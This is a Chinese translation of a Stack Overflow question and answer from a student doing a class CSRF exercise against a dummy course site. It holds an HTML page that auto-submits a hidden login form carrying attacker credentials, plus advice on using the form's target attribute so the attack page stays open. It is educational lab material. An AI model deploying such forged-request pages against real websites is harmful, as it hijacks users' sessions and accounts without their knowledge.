我正在为我的类(class)练习 CSRF 攻击,我必须通过创建一个“假”页面来攻击一个虚拟网站。我有以下代码
csrf.html
<!DOCTYPE html>
<head>CSRF_ATTACK_PT1</head>
<body>
<form name ='csrf_form' action='http://course_website/login' method="POST">
<input type='hidden' name='username' value='attacker_id'>
<input type='hidden' name='password' value='attacker_pw'>
</form>
<script>
document.csrf_form.submit();
</script>
</body>
上面的代码运行完美,只是每次我打开 csrf.html 它也会打开 course_website
页面。我只是希望它保留在 csrf.html 上,而不是重定向/打开新标签页。
看了SO之后(我不太懂js..),我试了一下
<script>
document.csrf_form.submit(function(){
return false;
});
</script>
并向表单本身添加 onsubmit = return false;
,但都不起作用。
在这里做什么最好?
PS:不确定这是否会改变任何东西,但我在我的表单中使用 action
来反对 target
,因为一个有效而另一个无效。有什么需要注意的吗?
最佳答案
but I used action as oppose to target in my form because one works and the other does not
target
和 action
做完全不同的事情。
action
指定要将请求发送到的 URL。target
指定打开对该请求的响应的框架
如果您不想离开当前页面,那么您需要将目标
指定为框架或新窗口。省略它会导致新页面加载到当前窗口并替换包含表单的文档。
如果还可以通过取消表单提交然后用 JavaScript 模拟它(通常通过 XMLHttpRequest
对象)来(有点)在不离开页面的情况下提交表单。但是,CSRF 攻击将是跨域攻击,因此由于同源策略,该方法可能会失败。
关于javascript - 通过javascript提交表单而不重定向,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/33837348/